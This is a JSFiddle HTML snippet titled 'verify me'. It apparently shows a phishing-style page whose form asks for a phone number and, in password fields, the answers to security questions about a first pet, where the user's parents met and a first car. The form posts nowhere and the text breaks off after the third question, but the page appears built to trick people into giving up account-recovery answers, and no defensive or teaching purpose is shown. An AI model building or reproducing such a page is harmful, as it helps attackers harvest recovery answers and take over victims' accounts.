JSFiddle - React, Tailwind, and code Playground
HTML
<html>
<head>
<title>verify me</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!--[if lte IE 8]><script src="assets/js/html5shiv.js"></script><![endif]-->
<link rel="stylesheet" href="assets/css/main.css" />
<!--[if lte IE 9]><link rel="stylesheet" href="assets/css/ie9.css" /><![endif]-->
<!--[if lte IE 8]><link rel="stylesheet" href="assets/css/ie8.css" /><![endif]-->
<noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
</head>
<body class="is-loading">
<!-- Wrapper -->
<div id="wrapper">
<!-- Main -->
<section id="main">
<header>
<body id="main_body" >
<div id="form_container">
<h1><a></a></h1>
<form id="securityquestions" class="appnitro" method="post" action="">
<div class="form_description">
<h2>Please answer your security questions.</h2>
<p>These questions help us verify your identity. Email: <span class="caps">[email protected]</span></p>
<p><span class="caps">Enter your phone number 123456789</span>
</p>
<div>
<input id="QA1" name="QA1" class="element text medium" type="text" maxlength="255" value="" style="width: 150px;"/>
</div>
</div>
<ul >
<li id="li_1" >
<label class="description" for="Q2">What was the name of your first pet? </label>
<div>
<input id="QA2" name="QA2" class="element text medium" type="password" maxlength="255" value=""/>
</div>
</li> <li id="li_2" >
<label class="description" for="Q3">In what city did your parents meet in? </label>
<div>
<input id="QA3" name="QA3" class="element text medium" type="password" maxlength="255" value=""/>
</div>
</li> <li id="li_3" >
<label class="description" for="Q4">What was the model of your first car? </label>
<div>
<input id="QA4" name="QA4" class="element text medium" type="password" maxlength="255" value=""/>
</div>...